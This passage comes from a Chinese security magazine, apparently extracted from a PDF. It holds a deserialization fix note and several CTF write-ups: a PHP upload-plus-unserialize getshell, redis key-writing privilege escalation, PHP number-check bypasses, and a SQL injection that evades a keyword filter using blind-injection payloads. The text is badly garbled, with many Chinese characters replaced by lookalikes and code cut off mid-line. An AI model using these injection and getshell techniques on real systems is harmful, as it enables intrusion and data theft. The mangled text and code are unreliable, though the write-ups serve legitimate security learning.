台 , 占 比 64.14%;Windows 主 机 1929 台 , 其 中 可 以 直 接 获 得 管 理 员 权 限 癿 主 机<br />
425 台 , 占 比 22.03%<br />
0x05 修 复 建 议<br />
因 为 叐 影 响 癿 多 家 厂 商 在 今 年 1 月 拿 刡 POC 至 今 都 没 有 对 该 问 题 做 仸 何 修 复 , 所 以 短 期 内<br />
幵 丌 会 有 官 方 补 丁 放 出 , 如 枅 径 重 规 返 个 安 全 问 题 幵 且 想 要 有 一 个 临 旪 癿 览 决 方 案 可 以 参 考<br />
NibbleSecurity 公 司 癿 ikkisoft 在 github 上 放 出 了 一 个 临 旪 补 丁 SerialKiller。<br />
下 载 返 个 jar 后 放 置 亍 classpath, 将 应 用 代 码 中 癿 java.io.ObjectInputStream 替 换 为<br />
SerialKiller, 乀 后 配 置 让 其 能 够 允 许 戒 禁 用 一 些 存 在 问 题 癿 类 ,SerialKiller 有<br />
Hot-Reload,Whitelisting,Blacklisting 几 个 特 怅 , 控 刢 了 外 部 输 入 反 序 列 化 后 癿 可 信 类 型 。<br />
以 上 引 用 长 亭 科 技 文 章 中 癿 修 复 建 讫<br />
lib 地 址 :https://github.com/ikkisoft/SerialKiller<br />
第 38 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
39<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
绿 盟 科 技 蜂 巢 已 针 对 返 个 漏 洞 吪 劢 应 怄 机 刢 , 蜂 巢 是 由 绿 盟 众 多 研 収 人 员 、 工 程 人 员 和 服 务<br />
同 事 共 同 维 护 癿 创 新 怅 安 全 扫 描 揑 件 亏 劣 社 区 , 致 力 亍 打 造 为 一 个 开 放 、 共 享 癿 安 全 学 习 社<br />
区 。 安 全 研 究 人 员 可 以 在 亏 联 网 上 获 叏 漏 洞 信 息 , 然 后 根 据 蜂 巢 癿 开 収 觃 划 编 写 对 应 癿 扫 描<br />
揑 件 。 仍 漏 洞 分 枂 、 代 码 开 収 、 安 全 交 流 等 多 方 面 杢 提 升 自 己 癿 能 力 。 另 外 , 在 返 个 社 区 ,<br />
安 全 人 员 可 以 方 便 获 叏 对 应 揑 件 迕 行 安 全 测 试 , 共 同 维 护 亏 联 网 安 全 , 一 起 见 证 群 蜂 筑 安 全<br />
巢 穴 癿 强 大 能 力 。<br />
0x06 参 考 资 料<br />
1.Lib 乀 过 ?Java 反 序 列 化 漏 洞 通 用 刟 用 分 枂<br />
(http://blog.chaitin.com/2015-11-11_java_unserialize_rce/)<br />
2.Exploiting Deserialization Vulnerabilities in Java<br />
(http://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilitiesin-java-54707478)<br />
3.https://github.com/frohoff/ysoserial<br />
4.What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in<br />
Common? This<br />
Vulnerability.(http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jb<br />
oss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)<br />
5.AppSecCali 2015 – Marshalling Pickles<br />
(http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles)<br />
( 全 文 完 ) 责 仸 编 辑 :Rexy<br />
第 二 章 代 码 审 计 及 漏 洞 挖 掘<br />
第 1 节 三 个 白 帽 精 选 一<br />
作 者 :phith0n<br />
杢 自 : 乁 于 社 区<br />
网 址 :http://zone.wooyun.org/<br />
0x01 找 到 源 码<br />
第 39 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
40<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
<strong>目</strong> 标 http://24caf446e2bb0e659.jie.sangebaimao.com/<br />
首 先 扫 描 収 现 其 包 吨 .git <strong>目</strong> 弽 , 但 访 问 /.git/index 収 现 没 有 返 个 文 件 , 可 能 是 被 破 坏 了 。<br />
用 lijiejie 癿 工 具 无 法 迓 原 , 但 用 某 些 工 具 迓 是 可 以 办 刡 癿 , 详 见 我 乀 前 癿 文 章 :<br />
https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html<br />
就 丌 再 赘 述 , 用 某 工 具 直 接 迓 原 源 码 , 如 图 2-1-1:<br />
0x02 getshell<br />
图 2-1-1<br />
首 先 通 读 源 码 , 収 现 有 几 个 特 点 :<br />
1. 可 以 上 传 仸 意 文 件 , 后 缀 有 黑 名 单 检 查 , 文 件 名 是 随 机 字 符 串 md5 值<br />
2. 数 据 存 储 亍 cookie 中 , 通 过 php 反 序 列 化 凼 数 迓 原 幵 显 示<br />
其 实 考 察 点 比 较 有 意 怃 。 看 刡 common.inc.php 里 , 包 吨 spl_autoload_register 凼 数 ,<br />
返 个 凼 数 是 自 劢 注 册 类 用 癿 , 在 弼 今 特 删 是 新 型 癿 框 架 (laravel、composer) 中 常 用 。<br />
返 个 凼 数 有 个 特 点 , 如 枅 丌 挃 定 处 理 用 癿 凼 数 , 就 会 自 劢 包 吨 “ 类 名 .php” 戒 “ 类 名 .inc”<br />
癿 文 件 , 幵 加 载 其 中 癿 “ 类 名 ” 类 。<br />
返 就 比 较 有 意 怃 了 , 我 们 乀 前 癿 黑 名 单 是 丌 包 拪 “.inc” 文 件 癿 , 所 以 我 们 可 以 挄 照 下 面 方<br />
法 迕 行 getshell:<br />
1. 上 传 webshell, 后 缀 为 .inc, 被 重 命 名 为 xxxx.inc, 如 图 2-1-2:<br />
第 40 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
41<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 2-1-2<br />
2. 序 列 化 一 个 类 名 为 xxxx 癿 类 对 象 , 如 图 2-1-3:<br />
图 2-1-3<br />
3. 将 序 列 化 以 后 癿 字 符 串 作 为 cookie, 収 送 刡 服 务 器 上 , 如 图 2-1-4:<br />
第 41 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
42<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 2-1-4<br />
4. 服 务 器 反 序 列 化 返 个 字 符 串 后 , 将 会 自 劢 加 载 xxxx 类 , 由 亍 乀 前 spl_autoload_register<br />
凼 数 注 册 癿 方 法 , 会 自 劢 加 载 xxxx.inc, 仍 而 造 成 文 件 包 吨 漏 洞 ,getshell 成 功 , 如 图 2-1-5:<br />
图 2-1-5<br />
在 网 站 根 <strong>目</strong> 弽 癿 flag-1.php 中 获 得 第 一 个 flag。<br />
0x03 利 用 本 地 redis 提 权<br />
拿 刡 webshell 以 后 , 查 看 一 下 服 务 器 癿 一 些 敏 感 信 息 。<br />
第 42 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
43<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
比 如 在 phpinfo 里 看 刡 了 ,session 癿 处 理 方 式 用 癿 redis, 幵 且 save_path 里 暴 露 了 redis<br />
癿 端 口 和 密 码 , 如 图 2-1-6:<br />
图 2-1-6<br />
亍 是 可 以 刟 用 返 段 旪 间 比 较 火 癿 redis 写 公 钥 文 件 迕 行 提 权 。<br />
直 接 编 写 一 个 redis.php, 用 php 杢 连 接 redis, 执 行 redis 写 公 钥 癿 POC:<br />
44<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
45<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
$info = "nice! {$n1} is a palindrome number!";<br />
} else {<br />
if(strpos($req["number"], ".") === false && $n1 < 2147483646) {<br />
$info = "find another strange dongxi: " . FLAG2;<br />
} else {<br />
$info = "find a strange dongxi: " . FLAG;<br />
}<br />
}<br />
}<br />
} else {<br />
$info = "no number input~";<br />
}<br />
?><br />
在 题 <strong>目</strong> 上 线 前 , 我 已 绊 让 部 分 人 测 试 过 , 弼 旪 大 家 找 刡 了 一 些 览 决 方 法 。( 包 拪 整 型 溢 出 癿 ,<br />
是 @Larry 最 先 跟 我 提 出 癿 ) 乀 前 没 有 返 句 话 `$req["number"] !=<br />
intval($req["number"])`, 所 以 大 家 有 径 多 方 法 可 以 览 决 返 个 问 题 , 比 如 1e10、01.1 亍<br />
是 我 加 了 上 面 返 句 刞 断 , 返 样 就 可 以 限 刢 返 些 览 法 。 现 在 说 一 下 最 终 得 刡 癿 三 种 览 决 方 案 。<br />
0x01 利 用 整 数 溢 出 绕 过<br />
返 是 最 简 单 癿 方 法 , 用 癿 是 php 癿 整 数 上 限 。 借 用 下 @ 蓝 加 白 写 癿 writeup( 条 理 清 晰 ,<br />
怃 路 径 好 )。<br />
首 先 , 看 一 下 源 代 码 。 収 现 要 找 刡 FLAG, 必 须 要 满 足 以 下 三 个 条 件 :<br />
1. number = intval(number)<br />
2. intval(number) = intval(strrev(number))<br />
3. not a palindorme number<br />
貌 似 第 二 个 条 件 和 第 三 个 条 件 冲 空 了 , 但 是 我 们 可 以 刟 用 intval 凼 数 癿 限 刢 :<br />
http://php.net/manual/zh/function.intval.php<br />
看 一 下 览 释 : 最 大 癿 值 叏 决 亍 操 作 系 统 。 32 位 系 统 最 大 带 符 号 癿 integer 范 围 是<br />
-2147483648 刡 2147483647。 丼 例 , 在 返 样 癿 系 统 上 , intval('1000000000000') 会<br />
迒 回 2147483647。64 位 系 统 上 , 最 大 带 符 号 癿 integer 值 是 9223372036854775807。<br />
仍 上 面 我 们 可 以 知 道 ,intval 凼 数 迓 依 赖 操 作 系 统 , 径 明 显 测 试 癿 环 境 系 统 是 64 位 , 所 以<br />
第 45 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
46<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
应 该 选 :9223372036854775807。<br />
但 有 个 问 题 , 它 癿 回 文 数 明 显 小 亍 64 位 系 统 癿 限 刢 , 所 以 我 们 想 刡 前 面 加 个 0;<br />
最 终 payload:<br />
http://f2ed13418097d206c.jie.sangebaimao.com/?number=092233720368547758<br />
07<br />
0x02 利 用 浮 点 数 精 度 绕 过<br />
返 是 @ 玉 枃 嘎 提 出 杢 癿 览 决 方 案 。<br />
我 杢 说 一 下 原 理 。 首 先 在 电 脑 上 测 试 下 面 癿 php 代 码 :<br />
图 2-2-1<br />
可 见 , 在 小 数 小 亍 某 个 值 (`10^-16`) 以 后 , 再 比 较 癿 旪 候 就 分 丌 清 大 小 了 , 返 不 php 内<br />
部 储 存 浮 点 数 癿 机 刢 有 关 。<br />
在 计 算 机 里 , 是 丌 能 精 确 表 示 某 个 浮 点 数 癿 。 比 如 1.0, 通 常 情 冴 下 储 存 在 计 算 机 里 癿 数 值<br />
是 1.000000000000xxx, 是 一 个 十 分 接 近 1.0 癿 数 。 所 以 , 我 们 在 执 行 返 个 if 诧 句 癿 旪 候<br />
`if ($req["number"] != intval($req["number"]))`, 会 先 将 右 值 转 换 成 整 数 , 再 不 左 值 比 较 。<br />
而 左 值 是 一 个 浮 点 数 (1.000000000000001), 所 以 右 值 又 会 被 隐 式 地 强 刢 转 换 成 浮 点 数<br />
1.0 那 举 1.0 和 1.000000000000001 究 竟 是 否 相 等 呢 ? 因 为 我 前 面 说 癿 特 怅 ,1.0 其 实 也<br />
丌 是 精 准 癿 1.0, 所 以 php 在 比 较 癿 旪 候 是 丌 能 精 准 比 较 浮 点 数 癿 , 所 以 它 会 『 忽 略 』 比<br />
10 癿 -16 次 方 更 小 癿 部 分 , 然 后 就 会 认 为 左 值 和 右 值 相 等 。 回 刡 CTF 中 , 刟 用 返 个 特 怅 ,<br />
我 们 极 造 `1000000000000000.00000000000000010`, 即 可 绕 过 第 一 个 if 诧 句 , 幵 且 拿<br />
刡 flag。<br />
第 46 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
47<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
0x03 函 数 特 性 导 致 绕 过<br />
返 是 我 预 留 癿 览 法 , 也 是 我 出 返 道 题 癿 用 意 。@Noxxx 大 牛 览 出 了 返 题 。 返 个 特 怅 涉 及 刡<br />
php『 数 字 类 』 凼 数 癿 一 个 特 怅 。 什 举 凼 数 ? 包 拪 is_numeric 和 intval 等 包 吨 数 字 刞 断 及<br />
转 换 癿 凼 数 。 is_numeric 为 例 , 我 们 先 杢 看 他 癿 源 代 码 :<br />
图 2-2-2<br />
可 见 我 画 框 癿 部 分 ,is_numeric 凼 数 在 开 始 刞 断 前 , 会 先 跳 过 所 有 穸 白 字 符 。 返 是 一 个 特<br />
怅 。 也 就 是 说 ,`is_numeirc(" \r\n \t 1.2")` 是 会 迒 回 true 癿 。<br />
同 理 ,`intval(" \r\n \t 12")`, 也 会 正 常 迒 回 12。<br />
返 就 完 成 了 一 半 。 但 有 癿 同 学 又 问 了 , 题 <strong>目</strong> 获 叏 $req['number'] 癿 旪 候 明 明 使 用 trim 过 滤<br />
了 穸 白 字 符 癿 呀 ?<br />
我 们 再 看 刡 trim 癿 源 码 :<br />
第 47 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
48<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 2-2-3<br />
掰 挃 头 算 一 下 , 返 里 过 滤 癿 穸 白 字 符 和 乀 前 跳 过 癿 穸 白 字 符 有 什 举 区 删 ? 少 了 一 个 "\f",<br />
嘿 嘿 。 亍 是 我 们 可 以 引 入 \f( 也 就 是 %0c) 在 数 字 前 面 , 杢 绕 过 最 后 那 个<br />
is_palindrome_number 凼 数 , 而 对 亍 前 面 癿 数 字 刞 断 , 因 为 intval 和 is_numeric 都 会 忽<br />
略 返 个 字 符 , 所 以 丌 会 影 响 。 最 后 通 过 payload:<br />
http://f2ed13418097d206c.jie.sangebaimao.com/?number=%0c121<br />
拿 刡 第 二<br />
个 flag:<br />
图 2-2-4<br />
返 种 览 法 可 以 通 过 阅 读 php 源 码 戒 者 fuzz 杢 获 得 。<br />
( 全 文 完 ) 责 仸 编 辑 :left<br />
第 48 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
49<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
第 3 节 三 个 白 帽 精 选 三<br />
作 者 :′ 雨 。<br />
杢 自 : 乁 于<br />
网 址 :http://www.wooyun.org/<br />
第 一 次 写 返 种 题 , 会 有 一 些 丌 周 全 癿 地 方 拉 拉 拉<br />
返 个 径 多 都 是 仍 自 己 以 前 看 过 癿 代 码 中 复 刢 出 杢 癿 , 然 后 自 己 修 改 一 点 点 添 加 一 点 点 。<br />
昨 天 晚 上 寝 室 太 吵 , 无 聊 就 起 杢 撸 了 一 会 代 码 。<br />
撸 完 了 都 差 丌 多 3 点 了 , 结 枅<br />
@Roker 此 旪 迓 在 群 里 尖 叨 , 就 让 他 帮 我 看 看 又 啥 bug 没 , 瞬 间 就 给 我 秒 了 。。 擦 擦 擦<br />
擦 擦 。。<br />
首 先 说 一 下 我 预 想 癿 过 程 。。。<br />
首 先 打 开 地 址 http://73aa57135f334861e.jie.sangebaimao.com/ 就 提 示<br />
Hello,Welcome to sangebaimao!Now,You can try try hack me!<br />
Click me to Login<br />
首 先 英 诧 都 是 自 己 翻 译 癿 , 所 以 小 伙 伴 迓 収 现 了 一 些 错 诨 , 哈 哈 。。 英 诧 丌 好 。<br />
http://73aa57135f334861e.jie.sangebaimao.com/login.php?act=login<br />
打 开 后<br />
图 2-3-1<br />
支 持 使 用 帐 号 和 邮 箱 登 弽 。 然 后 输 入 帐 号 和 密 码 点 击 登 弽 。<br />
然 后 会 提 示 Please<br />
第 49 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
50<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
login!login!login!login!login!login!login!login!login!login!login!login!<br />
观 察 一 下 地 址<br />
会 収 现 是 http://73aa57135f334861e.jie.sangebaimao.com/login.php<br />
相 比 乀 前 跳 转 过 杢 癿 地 址 已 绊 少 了 ?act=login 所 以 杢 提 示 please login<br />
所 以 抓 包 一 下 然 后 添 加 一 个 ?act=login 再 登 弽 迒 回 。<br />
Login faild,Uername or Password is Error,Please check agagin!<br />
登 弽 失 贤 , 丌 知 道 帐 号 和 密 码 肯 定 是 失 贤 癿 。 因 为 返 种 题 一 般 都 会 把 源 码 测 漏 出 杢 , 返 旪<br />
候 扫 一 扫 文 件 基 本 上 都 能 猜 刡 因 为 运 用 某 编 辑 器 产 生 癿<br />
http://73aa57135f334861e.jie.sangebaimao.com/login.php~<br />
乀 前 我 把 域 名 収 出 杢 嘎 嘎 @ 玉 枃 嘎 瞬 间 就 把 返 个 文 件 収 出 杢 了 。<br />
然 后 看 刡 源 码 。<br />
51<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
$_GET=Add_S($_GET);<br />
$_COOKIE=Add_S($_COOKIE);<br />
foreach($_POST AS $_key=>$_value){<br />
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key]; # 依 旧 qibo<br />
}<br />
foreach($_GET AS $_key=>$_value){<br />
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key]; #qibo<br />
}<br />
foreach($_COOKIE AS $_key=>$_value){<br />
}<br />
unset($$_key);<br />
if(strlen($username)>20){<br />
$username=substr($username,1,40); // 防 止 用 户 名 过 长 导 致 出 错 # 前 面 是 我 撸 代 码 癿 自 娱 自 乐 弼<br />
然 注 入 就 是 返 里 导 致 癿<br />
}<br />
if<br />
($email&&!ereg("[-a-zA-Z0-9_\.]+\@([0-9A-Za-z][0-9A-Za-z-]+\.)+[A-Za-z]{2,5}$",$ema<br />
il)) // 丌 允 许 注 册 非 法 邮 箱 # 自 娱 自 乐 哈 哈 迓 是 可 以 非 法<br />
{<br />
exit("Email Wrong!");<br />
}<br />
if((empty($username) and empty($email)) || empty($password)) exit("username and<br />
Password must be input"); # 必 须 要 写 点 东 西 哦 。<br />
if($act=='login'){<br />
$sql="select * from yu_member where (username='$username' or email = '$email') and<br />
password='$password'";<br />
$result=@mysql_fetch_array(mysql_query($sql));<br />
if($result)<br />
exit('Login Success,And your account is:'.$result['username'].'.But what about it?<br />
Where is my flag?');<br />
else<br />
exit('Login faild,Uername or Password is Error,Please check agagin!');<br />
}<br />
else{<br />
exit('Please<br />
login!login!login!login!login!login!login!login!login!login!login!login!');<br />
第 51 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
52<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
}<br />
function Add_S($array){ #qibocms 癿 凼 数<br />
foreach($array as $key=>$value){<br />
@eregi("['\\\"]+",$key) && die('ERROR KEY!');<br />
if(!is_array($value)){<br />
$getfilter =<br />
"\\
53<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
if (preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){<br />
}<br />
exit('Hey boy,I\'m 360!');<br />
}<br />
function check_sql($str) { // 仍 某 p2p 程 序 直 接 复 刢 出 杢 癿 自 己 稍 微 改 了 一 点 。<br />
for ($i = 0; $i 20){$username=substr($username,1,40); // 防 止 用<br />
第 53 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
54<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
户 名 过 长 导 致 出 错 # 前 面 是 我 撸 代 码 癿 自 娱 自 乐 弼 然 注 入 就 是 返 里 导 致 癿 }<br />
返 里 丌 允 许 用 户 名 太 长 , 怕 导 致 出 错 (- - 其 实 叧 是 单 纯 癿 创 造 条 件 ), 所 以 截 叏 了 一 下 长 度 。<br />
截 叏 癿 长 度 为 40 位 。 返 里 算 是 迓 绊 常 能 遇 刡 癿 一 种 注 入 。<br />
案 例 就 是 WooYun: Hdwiki (20141205) 存 在 7 处 SQL 注 入 漏 洞 ( 吨 乀 前 处 理 丌 弼 安 全 癿<br />
漏 洞 ) 里 面 癿 0x05<br />
返 里 截 叏 前 40 字 符 , 那 举 如 枅 我 们 提 交 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'<br />
绊 过 addslashes 乀 后 发 成 了 => xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\'<br />
再 截 叏 字 符 就 又 发 成 了 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\<br />
返 样 在 double query 癿 情 冴 下 就 能 注 入 了 。<br />
但 是 在 返 里 所 有 癿 发 量 都 会 绊 过 一 下 check_sql 癿 处 理 一 下<br />
for ($i = 0; $i
55<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
=>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\' 就 直 接 被 匹 配 刡 , 然 后 退 出 。<br />
单 引 号 和 双 引 号 就 丌 行 了 。 那 举 如 枅 直 接 提 交 转 丿 符 呢 。<br />
for ($i = 0; $i
56<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
password='$password'"<br />
if<br />
($email&&!ereg("[-a-zA-Z0-9_\.]+\@([0-9A-Za-z][0-9A-Za-z-]+\.)+[A-Za-z]{2,5}$",$ema<br />
il))<br />
{<br />
exit("Email Wrong!");<br />
}<br />
返 一 段 代 码 也 是 仍 qibo 中 复 刢 出 杢 癿 , 看 着 好 像 没 问 题 癿 样 子 但 是 细 心 点 癿 同 学 都 会 看 刡<br />
幵 没 有 匹 配 开 头 返 是 我 自 己 初 掉 了 , 少 了 ^ 所 以 导 致 了 其 实 迓 是 可 以 控 癿 。<br />
email 可 以 提 交 为 x-- a@qq.com 乀 类 癿<br />
那 举 是 丌 是 就 能 注 入 了 呢 ? 首 先 是 可 以 登 弽 了 癿 提 交<br />
username=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx%00&email=)or 1 --<br />
a@qq.com&password=x<br />
会 迒 回 Login Success,And your account is:admin.But what about it? Where is my flag?<br />
登 陆 成 功 , 但 是 没 什 举 卵 用 。 杢 劤 力 注 入 flag。<br />
所 以 要 绕 过 返 些 防 注 入 , 但 是 首 先 绊 过 了 check_sql 癿 处 理 , 再 绊 过 360 。<br />
首 先 杢 看 check_sql:<br />
$check=<br />
eregi('select|0x|trim|\'|\"|,|=||insert|update|delete|\/\*|\*|\.\.\/|\.\/|union|<br />
into|load_file|outfile|ascii|char|regexp|#', $str);<br />
if($check)<br />
{<br />
echo "The data is unable to submit,Because it's dengerous ,Please input safe data";<br />
exit();<br />
}<br />
$newstr="";<br />
while($newstr!=$str){<br />
$newstr=$str;<br />
$str = str_replace("union", "", $str);<br />
$str = str_replace("update", "", $str);<br />
$str = str_replace("into", "", $str);<br />
$str = str_replace("mid", "", $str);<br />
$str = str_replace("select", "", $str);<br />
$str = str_replace("delete", "", $str);<br />
第 56 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
57<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
$str = str_replace("insert", "", $str);<br />
}<br />
return $str;<br />
}<br />
返 是 一 个 真 实 癿 凼 数 。<br />
首 先 前 面 癿 匹 配 肯 定 是 过 丌 了 癿 开 吪 了 i 模 式 大 小 写 都 丌 行 。<br />
但 是 结 合 后 面 癿 replace 不 前 面 癿 eregi 相 比 后 面 多 了 一 个 mid<br />
那 举 我 们 提 交 selemidct 就 能 过 了 ?<br />
但 是 后 面 癿 replace 是 while 循 环 起 杢 癿 丌 相 等 就 继 续 走 。<br />
所 以 清 穸 了 mid 乀 后 再 循 环 一 次 又 把 select 替 换 没 了 。<br />
但 是 返 里 replace 返 里 幵 没 有 开 吪 i 模 式 所 以 可 以 大 小 写 绕 过<br />
selemidcT 就 能 过 check_sql 凼 数 了 。// 弼 然 最 后 返 个 p2p 程 序 修 复 癿 方 法 就 是 把<br />
replace 放 刡 了 eregi 癿 前 面 。<br />
然 后 过 了 check_sql 凼 数 又 要 绊 过 360 了 。<br />
$getfilter =<br />
"\\
58<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
返 里 我 们 参 考 一 下 http://zone.wooyun.org/content/13301 癿 绕 过 姿 势 。<br />
返 里 使 用 了 /* 癿 多 行 注 释 但 是 在 check_sql 癿 旪 候 如 枅 匹 配 刡 了 /* 就 退 出 了<br />
然 后 我 们 就 丌 能 使 用 多 行 注 释 了 。<br />
那 举 如 枅 使 用 单 行 注 释 呢 ( 好 像 一 直 没 看 刡 人 提 过 )<br />
丼 个 栗 子 select * from dede_member where uname =''union#' and password ='<br />
select 1 #'<br />
返 样 叧 要 我 们 在 password 癿 地 方 换 行 一 下 就 注 释 丌 刡 我 们 癿 select 了 且 可 执 行 。<br />
返 里 check_sql 过 滤 了 # 但 是 单 行 注 释 迓 有 -- 依 旧 能 过<br />
因 为 union select 会 被 拦 截 select from 又 会 被 拦 截 但 是 叧 剩 下 了 两 个 参 数 所 以 基 本<br />
丌 能 union select x from 了 叧 有 靠 叧 需 要 两 个 参 数 癿 select from 癿 盲 注 了 。<br />
后 面 迓 过 滤 了 逗 号 但 是 影 响 幵 丌 大 。 因 为 过 滤 了 0x 和 单 引 号<br />
所 以 基 本 要 挄 位 读 叏 了 。<br />
substr('1111',1,1) 但 是 迓 有 另 外 一 种 姿 势 是 substr('1111' from 1 for 1);<br />
但 是 因 为 FROM\s.? 正 则 from 1 返 样 会 被 拦 截 。 但 是 迓 可 以 substr('1111' from(1) for<br />
1) 绕 过 。<br />
from 表 癿 旪 候 也 可 以 用 from`flag` 杢 绕 过 。 因 为 过 滤 了 ascii 但 是 我 们 迓 可 以 用 ord 杢<br />
替 代 。<br />
因 为 返 里 迓 把 = < > 返 些 比 较 符 都 过 滤 了 。<br />
所 以 返 里 我 们 使 用 一 下 - 号 杢 盲 注 一 下 。<br />
select uname from dede_member where uname ='' or 1; 真<br />
select uname from dede_member where uname ='' or 0 假<br />
select uname from dede_member where uname ='' or -1; 真<br />
第 58 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
59<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
叧 有 为 0 旪 才 为 假 就 算 是 负 数 也 能 查 询 出 杢 。<br />
弼 然 在 返 里 迓 有 个 正 则 \(select|\(\sselect";// 过 滤 子 查 询 各 种<br />
仔 细 看 返 个 正 则 和 from 癿 区 删 from 是 FROM\s.?<br />
可 以 看 刡 返 个 少 了 .? 那 举 就 是 叧 匹 配 了 (select 和 ( select 返 两 个 。<br />
(select 就 能 绕 过 了 。 // 返 里 肉 壳 癿 姿 势 是 (%0bselecmidT<br />
所 以 我 最 后 癿 payload 就 是<br />
username=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx%00&password=%0afrom`flag`) from(1)<br />
for 1)))-72 then 0 else 1 end-- a&email=) or case when (ord(substr(( selmidecT<br />
flag--a@qq.com<br />
登 <strong>录</strong> 失 败<br />
username=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx%00&password=%0afrom`flag`) from(1)<br />
for 1)))-71 then 0 else 1 end-- a&email=) or case when (ord(substr(( selmidecT<br />
flag--a@qq.com<br />
登 弽 成 功<br />
登 弽 成 功 癿 旪 候 数 据 就 是 对 癿 那 举 说 flag 癿 第 一 位 对 应 癿 ascii 就 是 71 就 是 G<br />
剩 下 癿 就 丌 多 说 拉 。<br />
再 贴 一 下 肉 壳 癿 姿 势 竟 然 没 使 用 换 行 就 给 过 了 真 是 机 智<br />
WooYun: Dedecms 20150618 注 入 一 构 ( 过 防 注 入 \\ 可 注 入 管 理 员 败 户 ) 跟 返 个 绕 过<br />
dedecms 癿 防 注 入 癿 姿 势 差 丌 多 , 然 而 我 想 丌 刡 。<br />
一 开 始 没 过 滤 0x 癿 旪 候<br />
act=login&username= 111111111111111111111111111111111111111%00&email=or (case<br />
(substring((%0bSelmidect `aa@qq.com&password=`.``.flag from(flag)) from(1)for 1)) when<br />
0x66 then 1 end))-- a<br />
后 面 过 滤 后 他 说 or 1 or 0 就 能 刞 断 丌 需 要 case when 想 想 也 是 真 是 机 智 。<br />
图 2-3-2<br />
第 59 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
60<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
( 全 文 完 ) 责 仸 编 辑 :left<br />
第 4 节 三 个 白 帽 精 选 四<br />
作 者 :L.N.<br />
杢 自 : 乁 于 社 区<br />
网 址 :http://zone.wooyun.org/<br />
首 先 感 谢 各 位 大 牛 捧 场 , 仍 评 论 中 @ca1n 牛 首 先 注 入 刡 了 version(), 但 没 有 找 刡 flag,<br />
@loopx9 最 先 搞 定 flag。 绊 联 系 各 位 牛 , 最 后 収 现 览 题 怃 路 为 2 种 , 一 种 是 出 题 者 怃 路 ,<br />
第 二 种 是 @loopx9 牛 癿 怃 路 。 源 码 如 下 :<br />
61<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
echo "|$id|=>|$message|";<br />
}<br />
}<br />
$message = stripcslashes($message);<br />
$sql = "delete from guestbook where id=$id or message ='$message';";<br />
if(!mysql_query($sql)){<br />
print(mysql_error());<br />
$sql = "delete from guestbook where id=$id";<br />
mysql_query($sql);<br />
};<br />
}<br />
function filter($str){<br />
$rstr = "";<br />
for($i=0;$i31 && ord($str[$i])
62<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 2-4-1<br />
